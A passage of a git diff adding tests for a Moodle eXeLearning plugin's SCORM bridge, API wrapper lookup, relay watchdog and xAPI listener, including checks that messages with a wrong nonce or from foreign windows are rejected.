ch = makeFakeChannel(); + const adapters = []; + const factory = () => { + const a = { + destroyed: false, + play() {}, pause() {}, seek() {}, + getCurrentTime() { return 0; }, getDuration() { return 0; }, + destroy() { this.destroyed = true; }, + }; + adapters.push(a); + return a; + }; + host.attach(iframe, { win, genId: () => 'N1', channelFactory: () => ch, youtubeFactory: factory, document }); + win._emit({ source: iframe.contentWindow, data: { type: TYPE, v: V, action: 'hello', helloId: 'H1' } }); + const send = (cmd) => ch.port2.postMessage(Object.assign({ type: TYPE, v: V, exelearningBridge: 'N1' }, cmd)); + send({ action: 'open', reqId: 1, provider: 'youtube', videoId: 'dQw4w9WgXcQ' }); + send({ action: 'open', reqId: 2, provider: 'youtube', videoId: 'oHg5SJYRHA0' }); + expect(adapters.length).toBe(2); + expect(adapters[0].destroyed).toBe(true); // previous torn down + expect(adapters[1].destroyed).toBe(false); // current is live + expect(document.querySelectorAll('dialog.exe-media-modal').length).toBe(1); + }); +}); diff --git a/tests/js/scorm_api_wrapper.test.js b/tests/js/scorm_api_wrapper.test.js new file mode 100644 index 0000000..33d2c94 --- /dev/null +++ b/tests/js/scorm_api_wrapper.test.js @@ -0,0 +1,166 @@ +// This file is part of Moodle - http://moodle.org/ +// +// Moodle is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// Moodle is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with Moodle. If not, see . + +// Regression coverage for the vendored pipwerks wrapper (assets/scorm/SCORM_API_wrapper.js). +// +// The wrapper is normally "out of scope" for these JS suites, but its API lookup is +// grade-critical: it is what eXeLearning's content calls to record SCORM scores, and a +// defect there silently lost EVERY score in the secure (opaque-origin) iframe mode +// (DEC-80-01/DEC-80-03). The vendored get() had been altered to look only in window.parent +// and skip the current window. In secure mode the SCORM API is provided LOCALLY by the +// in-iframe bridge shim (js/scorm_bridge_shim.js) as window.API, and the Moodle parent is +// a cross-origin/opaque frame whose property access throws SecurityError. So the altered +// get() reached straight into the opaque parent, threw, init() never activated the +// connection, and LMSSetValue/LMSCommit became no-ops -> no attempt rows were written. +// +// These tests lock in the corrected behaviour: check the current window first, fall back +// to a same-origin ancestor (legacy mode), and never let an opaque ancestor abort lookup. +// +// The wrapper is a classic browser script (top-level `var pipwerks = {}`, no module +// exports), so it is loaded via new Function() with a fully controllable `window`, letting +// each test model a specific frame topology (local API, opaque parent, same-origin parent). + +import fs from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const here = path.dirname(fileURLToPath(import.meta.url)); +const wrapperSrc = fs.readFileSync( + path.join(here, '../../assets/scorm/SCORM_API_wrapper.js'), + 'utf8' +); + +/** + * Load a fresh pipwerks instance bound to the given fake window. find()/get() read the + * `window` free variable, which we supply as the factory argument, so the wrapper sees + * exactly the frame topology the test sets up. A fresh instance per call avoids shared + * state (pipwerks.SCORM.version, connection.isActive) leaking between tests. + * + * @param {Object} win The fake window (must carry a console for trace()). + * @returns {Object} The wrapper's pipwerks namespace. + */ +function loadPipwerks(win) { + win.console = win.console || globalThis.console; + const factory = new Function('window', 'document', wrapperSrc + '\n;return pipwerks;'); + return factory(win, win.document || {}); +} + +/** + * A minimal SCORM 1.2 API surface. Records LMSInitialize/LMSSetValue/LMSCommit calls so a + * test can assert the save path was actually driven. LMSGetLastError returns "0" so + * pipwerks treats the session as healthy. + * + * @param {string} tag An identity marker so tests can assert WHICH API was returned. + * @returns {Object} + */ +function makeApi(tag) { + const calls = []; + return { + tag, + calls, + LMSInitialize: (v) => { calls.push(['LMSInitialize', v]); return 'true'; }, + LMSFinish: (v) => { calls.push(['LMSFinish', v]); return 'true'; }, + LMSGetValue: (k) => { calls.push(['LMSGetValue', k]); return ''; }, + LMSSetValue: (k, v) => { calls.push(['LMSSetValue', k, v]); return 'true'; }, + LMSCommit: (v) => { calls.push(['LMSCommit', v]); return 'true'; }, + LMSGetLastError: () => '0', + LMSGetErrorString: () => '', + LMSGetDiagnostic: () => '', + }; +} + +/** A frame whose .API / .API_1484_11 access throws, mimicking an opaque cross-origin parent. */ +function makeOpaqueFrame() { + const frame = {}; + const blow = () => { throw new Error('SecurityError: Blocked a frame with origin "null" from accessing a cross-origin frame.'); }; + Object.defineProperty(frame, 'API', { get: blow }); + Object.defineProperty(frame, 'API_1484_11', { get: blow }); + return frame; +} + +describe('vendored pipwerks API.get (secure-mode regression)', () => { + it('returns the LOCAL window.API, not the parent\'s (current window checked first)', () => { + // Secure mode: the bridge shim put window.API in THIS frame; the parent also has a + // (different) API. The old build returned the parent's; we must return the local one. + const localApi = makeApi('local'); + const parent = { API: makeApi('parent') }; + parent.parent = parent; // stops the upward walk at the parent + const win = { API: localApi, parent, document: {} }; + + const pipwerks = loadPipwerks(win); + + expect(pipwerks.SCORM.API.get()).toBe(localApi); + }); + + it('does not throw when the parent frame is opaque/cross-origin, and finds the local API', () => { + // The exact failure mode: reaching into the opaque parent threw SecurityError. + const localApi = makeApi('local'); + const win = { API: localApi, parent: makeOpaqueFrame(), document: {} }; + + const pipwerks = loadPipwerks(win); + + let got; + expect(() => { got = pipwerks.SCORM.API.get(); }).not.toThrow(); + expect(got).toBe(localApi); + }); + + it('returns null (never throws) when no API is reachable and the parent is opaque', () => { + const win = { parent: makeOpaqueFrame(), document: {} }; // no local API + + const pipwerks = loadPipwerks(win); + + let got = 'unset'; + expect(() => { got = pipwerks.SCORM.API.get(); }).not.toThrow(); + expect(got == null).toBe(true); + }); + + it('still walks up to a same-origin parent when there is no local API (legacy mode)', () => { + // Legacy same-origin mode: no local API, the Moodle parent hosts window.API. + const parentApi = makeApi('parent'); + const parent = { API: parentApi }; + parent.parent = parent; // stops the walk + const win = { parent, document: {} }; + + const pipwerks = loadPipwerks(win); + + expect(pipwerks.SCORM.API.get()).toBe(parentApi); + }); +}); + +describe('vendored pipwerks init (secure bridge end to end)', () => { + it('activates the connection through a LOCAL API even with an opaque parent', () => { + const localApi = makeApi('local'); + const win = { API: localApi, parent: makeOpaqueFrame(), document: {} }; + + const pipwerks = loadPipwerks(win); + const ok = pipwerks.SCORM.init(); // init === connection.initialize + + expect(ok).toBe(true); + expect(pipwerks.SCORM.connection.isActive).toBe(true); + expect(localApi.calls.some((c) => c[0] === 'LMSInitialize')).toBe(true); + }); + + it('set() reaches the local API once the connection is active (the score actually saves)', () => { + const localApi = makeApi('local'); + const win = { API: localApi, parent: makeOpaqueFrame(), document: {} }; + + const pipwerks = loadPipwerks(win); + pipwerks.SCORM.init(); + const saved = pipwerks.SCORM.set('cmi.core.score.raw', '100'); + + expect(saved).toBe(true); + expect(localApi.calls).toContainEqual(['LMSSetValue', 'cmi.core.score.raw', '100']); + }); +}); diff --git a/tests/js/scorm_bridge.test.js b/tests/js/scorm_bridge.test.js new file mode 100644 index 0000000..c6c4c1c --- /dev/null +++ b/tests/js/scorm_bridge.test.js @@ -0,0 +1,453 @@ +// This file is part of Moodle - http://moodle.org/ +// +// Moodle is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// Moodle is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with Moodle. If not, see . + +// Side-effect imports: each module exposes its API on a window.* global (and on +// module.exports). scorm_tracker must load before the shim (the shim calls +// window.exeScormTracker). globals (describe/it/expect/vi) come from vitest.config.mjs. +import '../../js/scorm_tracker.js'; +import '../../js/scorm_bridge_shim.js'; +import '../../js/scorm_bridge_relay.js'; + +const shim = window.exeScormBridgeShim; +const relay = window.exeScormBridge; + +/** + * Build a fake iframe window for the shim: captures messages posted to the parent + * and the registered 'message' listener so a test can drive the handshake. Uses the + * real (happy-dom) document so the shared tracker's objectid resolution works. + */ +function makeFakeWin(overrides = {}) { + const postedToParent = []; + const listeners = {}; + const win = { + exeScormTracker: window.exeScormTracker, + parent: { postMessage: (msg) => postedToParent.push(msg) }, + origin: 'null', + document, + addEventListener: (type, fn) => { (listeners[type] = listeners[type] || []).push(fn); }, + postedToParent, + listeners, + ...overrides, + }; + return win; +} + +/** Deliver a message to the shim's registered onMessage listener. */ +function deliver(win, event) { + (win.listeners.message || []).forEach((fn) => fn(event)); +} + +describe('shim createMemoryStorage', () => { + it('behaves like a string-coercing in-memory Storage', () => { + const s = shim.createMemoryStorage(); + expect(s.getItem('missing')).toBeNull(); + s.setItem('a', 1); + expect(s.getItem('a')).toBe('1'); // coerced to string + expect(s.length).toBe(1); + expect(s.key(0)).toBe('a'); + s.removeItem('a'); + expect(s.getItem('a')).toBeNull(); + expect(s.length).toBe(0); + s.setItem('b', 'x'); + s.clear(); + expect(s.length).toBe(0); + }); +}); + +describe('shim isSandboxedOpaque', () => { + it('is true when the origin serializes to "null"', () => { + expect(shim.isSandboxedOpaque({ origin: 'null' })).toBe(true); + }); + + it('is true when web storage access throws a SecurityError (opaque origin)', () => { + const win = { + origin: 'https://moodle.test', + get localStorage() { throw new DOMException('blocked', 'SecurityError'); }, + }; + expect(shim.isSandboxedOpaque(win)).toBe(true); + }); + + it('is FALSE when storage throws a non-SecurityError in a real same-origin iframe (legacy, not opaque)', () => { + // A QuotaExceededError (or a disabled-storage policy) must NOT be mistaken for an + // opaque origin, or the shim would wrongly activate in legacy mode and lose grades. + const quota = { origin: 'https://moodle.test', get localStorage() { throw new DOMException('full', 'QuotaExceededError'); } }; + expect(shim.isSandboxedOpaque(quota)).toBe(false); + const generic = { origin: 'https://moodle.test', get localStorage() { throw new Error('nope'); } }; + expect(shim.isSandboxedOpaque(generic)).toBe(false); + }); + + it('is false for a same-origin window with working storage', () => { + const win = { origin: 'https://moodle.test', localStorage: shim.createMemoryStorage() }; + expect(shim.isSandboxedOpaque(win)).toBe(false); + }); +}); + +describe('shim installStoragePolyfill', () => { + it('replaces storage with in-memory implementations', () => { + const win = {}; + shim.installStoragePolyfill(win); + win.localStorage.setItem('k', 'v'); + expect(win.localStorage.getItem('k')).toBe('v'); + win.sessionStorage.setItem('s', '1'); + expect(win.sessionStorage.getItem('s')).toBe('1'); + }); +}); + +describe('shim isParentMessage', () => { + it('accepts config/ack and rejects everything else', () => { + expect(shim.isParentMessage({ type: 'scorm', action: 'config' })).toBe(true); + expect(shim.isParentMessage({ type: 'scorm', action: 'ack' })).toBe(true); + expect(shim.isParentMessage({ type: 'scorm', action: 'track' })).toBe(false); + expect(shim.isParentMessage({ type: 'other', action: 'config' })).toBe(false); + expect(shim.isParentMessage(null)).toBe(false); + }); +}); + +describe('shim activate (handshake + transport)', () => { + it('announces ready, then defines window.API', () => { + const win = makeFakeWin(); + const handles = shim.activate(win); + expect(handles).not.toBeNull(); + expect(win.API).toBe(handles.api); + expect(win.postedToParent[0]).toEqual({ exelearningBridge: null, type: 'scorm', action: 'ready' }); + }); + + it('queues scores until config arrives, then flushes them stamped with the nonce', () => { + const win = makeFakeWin(); + shim.activate(win); + // Score before the handshake completes: must be queued, not posted yet. + win.API.LMSSetValue('cmi.core.score.raw', '80'); + win.API.LMSCommit(); + expect(win.postedToParent.filter((m) => m.action === 'track')).toHaveLength(0); + // Parent replies with the nonce -> queued track message is flushed. + deliver(win, { source: win.parent, data: { type: 'scorm', action: 'config', nonce: 'N1' } }); + const tracks = win.postedToParent.filter((m) => m.action === 'track'); + expect(tracks).toHaveLength(1); + expect(tracks[0].exelearningBridge).toBe('N1'); + expect(tracks[0].cmi['cmi.core.score.raw']).toBe('80'); + }); + + it('posts scores immediately once ready', () => { + const win = makeFakeWin(); + shim.activate(win); + deliver(win, { source: win.parent, data: { type: 'scorm', action: 'config', nonce: 'N2' } }); + win.API.LMSSetValue('cmi.core.lesson_status', 'completed'); + win.API.LMSCommit(); + const tracks = win.postedToParent.filter((m) => m.action === 'track'); + expect(tracks).toHaveLength(1); + expect(tracks[0].exelearningBridge).toBe('N2'); + expect(tracks[0].cmi['cmi.core.lesson_status']).toBe('completed'); + }); + + it('ignores messages whose source is not the parent window', () => { + const win = makeFakeWin(); + shim.activate(win); + win.API.LMSSetValue('cmi.core.score.raw', '50'); + win.API.LMSCommit(); + // A config from a foreign window must not unblock the queue. + deliver(win, { source: { other: true }, data: { type: 'scorm', action: 'config', nonce: 'EVIL' } }); + expect(win.postedToParent.filter((m) => m.action === 'track')).toHaveLength(0); + }); +}); + +describe('shim boot', () => { + it('activates in an opaque sandbox', () => { + const win = makeFakeWin({ origin: 'null' }); + const handles = shim.boot(win); + expect(handles).not.toBeNull(); + expect(win.API).toBeDefined(); + // Storage was polyfilled. + win.localStorage.setItem('k', 'v'); + expect(win.localStorage.getItem('k')).toBe('v'); + }); + + it('stays dormant (no window.API) outside an opaque sandbox', () => { + const win = makeFakeWin({ origin: 'https://moodle.test', localStorage: shim.createMemoryStorage(), API: undefined }); + const handles = shim.boot(win); + expect(handles).toBeNull(); + expect(win.API).toBeUndefined(); + }); +}); + +describe('relay pure validators', () => { + it('isTrackMessage requires the scorm/track shape with a cmi object', () => { + expect(relay.isTrackMessage({ type: 'scorm', action: 'track', cmi: {} })).toBe(true); + expect(relay.isTrackMessage({ type: 'scorm', action: 'track' })).toBe(false); + expect(relay.isTrackMessage({ type: 'scorm', action: 'ready' })).toBe(false); + expect(relay.isTrackMessage(null)).toBe(false); + }); + + it('isReadyMessage matches only the readiness announcement', () => { + expect(relay.isReadyMessage({ type: 'scorm', action: 'ready' })).toBe(true); + expect(relay.isReadyMessage({ type: 'scorm', action: 'track', cmi: {} })).toBe(false); + }); + + it('acceptTrack requires both a valid shape and the matching nonce', () => { + const msg = { type: 'scorm', action: 'track', cmi: {}, exelearningBridge: 'N' }; + expect(relay.acceptTrack(msg, 'N')).toBe(true); + expect(relay.acceptTrack(msg, 'OTHER')).toBe(false); + expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {}, exelearningBridge: undefined }, 'N')).toBe(false); + }); + + it('acceptTrack never authenticates against a falsy expected nonce (no undefined===undefined)', () => { + // A relay constructed without a nonce must reject even a perfectly-shaped message + // that omits the field, rather than collapsing the nonce factor. + expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {} }, undefined)).toBe(false); + expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {}, exelearningBridge: undefined }, undefined)).toBe(false); + expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {}, exelearningBridge: '' }, '')).toBe(false); + }); +}); + +describe('relay createRelay (message handling)', () => { + function setup() { + const cw = { postMessage: vi.fn() }; + const iframe = { contentWindow: cw }; + const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : null) }; + const fetchCalls = []; + const fetchImpl = (url, opts) => { fetchCalls.push({ url, opts }); return { catch: () => {} }; }; + const beaconCalls = []; + const sendBeacon = (url, blob) => { beaconCalls.push({ url, blob }); return true; }; + const r = relay.createRelay( + { + iframeid: 'exelearningobject', cmid: 42, trackurl: '/track.php?id=42', + session: 'tok', sesskey: 'SK', nonce: 'N', + }, + { document: doc, window: { addEventListener: () => {} }, fetch: fetchImpl, sendBeacon } + ); + return { r, cw, fetchCalls, beaconCalls }; + } + + it('replies to ready (from the iframe) with the config + nonce', () => { + const { r, cw } = setup(); + r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } }); + expect(cw.postMessage).toHaveBeenCalledTimes(1); + expect(cw.postMessage.mock.calls[0][0]).toMatchObject({ type: 'scorm', action: 'config', nonce: 'N' }); + }); + + it('forwards a valid track message to track.php with the trusted identity', () => { + const { r, cw, fetchCalls } = setup(); + r.onMessage({ + source: cw, + data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: { 'cmi.core.score.raw': '80' }, itemscores: { 'ide-a': { scorepct: 80 } } }, + }); + expect(fetchCalls).toHaveLength(1); + expect(fetchCalls[0].url).toBe('/track.php?id=42'); + const body = JSON.parse(fetchCalls[0].opts.body); + expect(body).toEqual({ id: 42, session: 'tok', sesskey: 'SK', cmi: { 'cmi.core.score.raw': '80' }, itemscores: { 'ide-a': { scorepct: 80 } } }); + }); + + it('carries the sesskey in the POST body, never in the endpoint URL (SEC-04)', () => { + // track.php authenticates with require_body_sesskey(), so a relay that leaves + // the key out of the body is rejected on every write. The identity fields come + // from this trusted parent; only cmi/itemscores cross the bridge. + const { r, cw, fetchCalls } = setup(); + r.onMessage({ + source: cw, + data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: {} }, + }); + expect(JSON.parse(fetchCalls[0].opts.body).sesskey).toBe('SK'); + expect(fetchCalls[0].url).not.toContain('sesskey'); + }); + + it('ignores a track message from a window other than the iframe', () => { + const { r, fetchCalls } = setup(); + r.onMessage({ source: { foreign: true }, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: {} } }); + expect(fetchCalls).toHaveLength(0); + }); + + it('ignores a message when the iframe has no contentWindow (no null===null match)', () => { + const fetchCalls = []; + const iframe = { contentWindow: null }; // present element, not navigable. + const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : null) }; + const r = relay.createRelay( + { iframeid: 'exelearningobject', cmid: 42, trackurl: '/track.php?id=42', session: 'tok', nonce: 'N' }, + { document: doc, window: { addEventListener: () => {} }, fetch: (url, opts) => { fetchCalls.push({ url, opts }); return { catch: () => {} }; } } + ); + // event.source === null would equal a null contentWindow without the guard. + r.onMessage({ source: null, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: {} } }); + expect(fetchCalls).toHaveLength(0); + }); + + it('ignores a track message with the wrong nonce or a bad shape', () => { + const { r, cw, fetchCalls } = setup(); + r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'WRONG', cmi: {} } }); + r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'N' } }); // no cmi + r.onMessage({ source: cw, data: { type: 'scorm', action: 'evil', exelearningBridge: 'N', cmi: {} } }); + expect(fetchCalls).toHaveLength(0); + }); + + it('flushBeacon sends the last forwarded payload on unload', () => { + const { r, cw, beaconCalls } = setup(); + r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: { 'cmi.core.score.raw': '90' }, itemscores: {} } }); + r.flushBeacon(); + expect(beaconCalls).toHaveLength(1); + expect(beaconCalls[0].url).toBe('/track.php?id=42'); + }); + + it('xAPI-primary (disableTracking): a valid track message is accepted but POSTs nothing, while ready still handshakes', () => { + const cw = { postMessage: vi.fn() }; + const iframe = { contentWindow: cw }; + const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : null) }; + const fetchCalls = []; + const beaconCalls = []; + const r = relay.createRelay( + { iframeid: 'exelearningobject', cmid: 42, trackurl: '/track.php?id=42', session: 'tok', nonce: 'N', disableTracking: true }, + { + document: doc, + window: { addEventListener: () => {} }, + fetch: (url, opts) => { fetchCalls.push({ url, opts }); return { catch: () => {} }; }, + sendBeacon: (url, blob) => { beaconCalls.push({ url, blob }); return true; }, + } + ); + // A perfectly valid, authenticated SCORM score is dropped: the package is graded via xAPI. + r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: { 'cmi.core.score.raw': '100' }, itemscores: {} } }); + expect(fetchCalls).toHaveLength(0); + // The handshake still runs, so window.API exists and the iDevices can emit xAPI. + r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } }); + expect(cw.postMessage).toHaveBeenCalledTimes(1); + // And the unload beacon has nothing to flush (no score was ever buffered). + r.flushBeacon(); + expect(beaconCalls).toHaveLength(0); + }); +}); + +describe('relay watchdog (no silent legacy fallback)', () => { + function setupWatchdog() { + const cw = { postMessage: () => {} }; + const iframe = { contentWindow: cw, style: { display: '' } }; + const blocked = { style: { display: 'none' } }; + const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : (id === 'blk' ? blocked : null)) }; + let timerFn = null; + const win = { + addEventListener: () => {}, + setTimeout: (fn) => { timerFn = fn; return 1; }, + clearTimeout: () => { timerFn = null; }, + }; + const r = relay.createRelay( + { iframeid: 'exelearningobject', nonce: 'N', blockedid: 'blk', watchdogms: 5 }, + { document: doc, window: win, fetch: () => ({ catch: () => {} }) } + ); + return { r, cw, iframe, blocked, fire: () => timerFn && timerFn() }; + } + + it('reveals the blocked notice and hides the iframe when ready never arrives', () => { + const { r, iframe, blocked, fire } = setupWatchdog(); + r.startWatchdog(); + fire(); + expect(blocked.style.display).toBe(''); + expect(iframe.style.display).toBe('none'); + }); + + it('is cleared when the iframe signals ready (secure mode rendered)', () => { + const { r, cw, blocked, fire } = setupWatchdog(); + r.startWatchdog(); + r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } }); + fire(); // no-op: watchdog was cleared. + expect(blocked.style.display).toBe('none'); + }); + + // Fast path: an iframe element fires 'load' even when its navigation ended in an + // error page (e.g. an opaque token URL that 404s on a service-worker host that does + // not control opaque subframes). The relay then only grants a short grace before the + // notice, so it never sits behind the long flat watchdog (DEC-80-02 / Playground). + function setupLoadWatchdog() { + let loadHandler = null; + const timers = []; + const cw = { postMessage: () => {} }; + const iframe = { + contentWindow: cw, + style: { display: '' }, + addEventListener: (type, fn) => { if (type === 'load') { loadHandler = fn; } }, + }; + const blocked = { style: { display: 'none' } }; + const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : (id === 'blk' ? blocked : null)) }; + const win = { + addEventListener: () => {}, + setTimeout: (fn) => { timers.push(fn); return timers.length; }, + clearTimeout: () => {}, + }; + const r = relay.createRelay( + { iframeid: 'exelearningobject', nonce: 'N', blockedid: 'blk', watchdogms: 100000, gracems: 5 }, + { document: doc, window: win, fetch: () => ({ catch: () => {} }) } + ); + return { r, cw, iframe, blocked, timers, load: () => loadHandler && loadHandler() }; + } + + it('reveals the notice on the short grace timer after the iframe loads, not the long watchdog', () => { + const { r, iframe, blocked, timers, load } = setupLoadWatchdog(); + r.startWatchdog(); + expect(timers).toHaveLength(1); // only the flat watchdog so far. + load(); // iframe finished loading (e.g. the 404 page). + expect(timers).toHaveLength(2); // a short grace timer was armed. + timers[1](); // fire ONLY the grace timer (not the long one). + expect(blocked.style.display).toBe(''); + expect(iframe.style.display).toBe('none'); + }); + + it('does not arm the grace timer when the iframe is already ready before it loads', () => { + const { r, cw, blocked, timers, load } = setupLoadWatchdog(); + r.startWatchdog(); + r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } }); + load(); // ready already seen -> no grace timer. + expect(timers).toHaveLength(1); + timers.forEach((fn) => fn()); // even firing everything leaves it hidden. + expect(blocked.style.display).toBe('none'); + }); +}); + +describe('shim extra branches (coverage)', () => { + it('treats a window whose origin read throws as opaque', () => { + const win = { get origin() { throw new Error('blocked'); } }; + expect(shim.isSandboxedOpaque(win)).toBe(true); + }); + + it('installStoragePolyfill never throws even when storage cannot be redefined', () => { + const win = Object.preventExtensions({}); + expect(() => shim.installStoragePolyfill(win)).not.toThrow(); + }); + + it('resolves per-iDevice scores from its own document on suspend_data', () => { + document.body.innerHTML = '
'; + const win = makeFakeWin(); + shim.activate(win); + deliver(win, { source: win.parent, data: { type: 'scorm', action: 'config', nonce: 'N' } }); + win.API.LMSSetValue('cmi.suspend_data', '1. "Q"; Score: 60%; Weight: 30%'); + win.API.LMSCommit(); + const tracks = win.postedToParent.filter((m) => m.action === 'track'); + expect(tracks.length).toBeGreaterThan(0); + expect(tracks[tracks.length - 1].itemscores).toEqual({ 'ide-x': { scorepct: 60, weighted: 30, title: 'Q' } }); + }); +}); + +describe('relay init wiring (coverage)', () => { + it('init registers message + pagehide listeners (and starts the watchdog)', () => { + const events = {}; + const win = { addEventListener: (t, fn) => { events[t] = fn; }, setTimeout: () => 1, clearTimeout: () => {} }; + const doc = { getElementById: () => null }; + const r = relay.createRelay( + { iframeid: 'x', nonce: 'N', blockedid: 'blk' }, + { document: doc, window: win, fetch: () => ({ catch: () => {} }) } + ); + r.init(); + expect(typeof events.message).toBe('function'); + expect(typeof events.pagehide).toBe('function'); + }); + + it('bootstrap init() creates a relay and starts it', () => { + const r = relay.init({ iframeid: 'x', nonce: 'N' }); + expect(typeof r.onMessage).toBe('function'); + expect(typeof r.postTrack).toBe('function'); + }); +}); diff --git a/tests/js/scorm_tracker.test.js b/tests/js/scorm_tracker.test.js index 6813404..8bfc7a6 100644 --- a/tests/js/scorm_tracker.test.js +++ b/tests/js/scorm_tracker.test.js @@ -272,3 +272,34 @@ describe('createScormApi state machine', () => { expect(xhr.calls.length).toBe(0); }); }); + +describe('createScormApi transport (bridge mode)', () => { + function cfg(transport) { + // No-op timers so the only send() is the explicit LMSCommit (no stray autocommit). + return { transport, bindUnload: false, getScoringDocument: () => document, setTimeout: () => 0, clearTimeout: () => {} }; + } + + it('clears dirty when the transport accepts the payload (no XHR)', () => { + let calls = 0; + const { api } = createScormApi(cfg(() => { calls++; return true; })); + api.LMSSetValue('cmi.core.score.raw', '50'); + expect(api.LMSCommit()).toBe('true'); + expect(calls).toBe(1); + // Not dirty anymore: a second commit sends nothing. + expect(api.LMSCommit()).toBe('true'); + expect(calls).toBe(1); + }); + + it('keeps dirty (Commit -> "false") when the transport rejects', () => { + const { api } = createScormApi(cfg(() => false)); + api.LMSSetValue('cmi.core.score.raw', '50'); + expect(api.LMSCommit()).toBe('false'); + }); + + it('reports error 101 when the transport throws', () => { + const { api } = createScormApi(cfg(() => { throw new Error('boom'); })); + api.LMSSetValue('cmi.core.score.raw', '50'); + expect(api.LMSCommit()).toBe('false'); + expect(api.LMSGetLastError()).toBe('101'); + }); +}); diff --git a/tests/js/xapi_listener.test.js b/tests/js/xapi_listener.test.js index 25d17fd..6f3b539 100644 --- a/tests/js/xapi_listener.test.js +++ b/tests/js/xapi_listener.test.js @@ -155,6 +155,84 @@ describe('xapi_listener createListener().handleMessage', () => { }); }); +describe('xapi_listener window-identity mode (secure / opaque origin, DEC-80-05)', () => { + let xhr; + const frameWin = { name: 'package-iframe' }; // sentinel for the iframe's contentWindow. + + function secureListener(extra = {}) { + return createListener({ + cmid: 42, + trackurl: '/mod/exelearning/xapi_track.php?id=42&sesskey=abc', + registration: 'tok', + mode: 'grading', + expectedSource: frameWin, // window-identity mode without a real DOM iframe. + xhrFactory: () => xhr, + ...extra, + }); + } + + beforeEach(() => { xhr = makeXhr(); }); + + it('forwards a statement from the package iframe even though the origin is the opaque "null"', () => { + const listener = secureListener(); + const ok = listener.handleMessage( + { origin: 'null', source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('s1') } }); + expect(ok).toBe(true); + expect(xhr.calls.find((c) => c.method).url).toContain('xapi_track.php'); + }); + + it('drops a statement from any other window, even one claiming the trusted host origin', () => { + const listener = secureListener(); + expect(listener.handleMessage( + { origin: 'null', source: { other: true }, data: { type: 'exe-xapi-statement', statement: answered('s2') } })).toBe(false); + expect(listener.handleMessage( + { origin: HOST, source: { other: true }, data: { type: 'exe-xapi-statement', statement: answered('s3') } })).toBe(false); + expect(xhr.calls.length).toBe(0); + }); + + it('drops a message that carries no source', () => { + const listener = secureListener(); + expect(listener.handleMessage( + { origin: 'null', data: { type: 'exe-xapi-statement', statement: answered('s4') } })).toBe(false); + expect(xhr.calls.length).toBe(0); + }); + + it('resolves the iframe by id lazily, so injection before the element exists still works', () => { + let frame = null; // element not in the DOM yet (relay is injected before the iframe). + const doc = { getElementById: (id) => (id === 'exelearningobject' ? frame : null) }; + const listener = createListener({ + cmid: 42, trackurl: '/x', registration: 'tok', + iframeid: 'exelearningobject', document: doc, xhrFactory: () => xhr, + }); + // No element -> no trusted source -> dropped (and not marked seen). + expect(listener.handleMessage( + { source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('s5') } })).toBe(false); + // The element appears at load time -> the same source window is now trusted. + frame = { contentWindow: frameWin }; + expect(listener.handleMessage( + { source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('s6') } })).toBe(true); + }); + + it('window identity wins when both iframeid and allowedOrigin are set: origin is never consulted in secure mode', () => { + // Defensive: secure mode must NOT fall back to the origin check even if a future + // refactor leaves allowedOrigin in the config. event.source is the only anchor. + const listener = createListener({ + cmid: 42, trackurl: '/x', registration: 'tok', + iframeid: 'exelearningobject', // selects window-identity mode... + allowedOrigin: HOST, // ...and this must be ignored, not consulted. + document: { getElementById: () => ({ contentWindow: frameWin }) }, + xhrFactory: () => xhr, + }); + // A message from a DIFFERENT window is rejected even though it carries the trusted host origin. + expect(listener.handleMessage( + { origin: HOST, source: { other: true }, data: { type: 'exe-xapi-statement', statement: answered('p1') } })).toBe(false); + // Only the real iframe window is accepted. + expect(listener.handleMessage( + { origin: HOST, source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('p2') } })).toBe(true); + expect(xhr.calls.length).toBeGreaterThan(0); + }); +}); + /** * XHR factory whose instances expose resolve(status)/fail() so a test can drive the * async onload/onerror callbacks deterministically. diff --git a/tests/lib_extract_test.php b/tests/lib_extract_test.php index 2575401..990285b 100644 --- a/tests/lib_extract_test.php +++ b/tests/lib_extract_test.php @@ -75,6 +75,130 @@ public function test_create_instance_extracts_package_and_injects_scorm_loader() $html = $index->get_content(); $this->assertStringContainsString('', $html); $this->assertStringContainsString('libs/SCORM_API_wrapper.js', $html); + + // The secure-mode bridge client was shipped under libs/ and injected at the top + // of (DEC-80-02). + foreach (['scorm_tracker.js', 'exe_scorm_bridge.js'] as $bridgefile) { + $f = $fs->get_file($context->id, 'mod_exelearning', 'content', $revision, '/libs/', $bridgefile); + 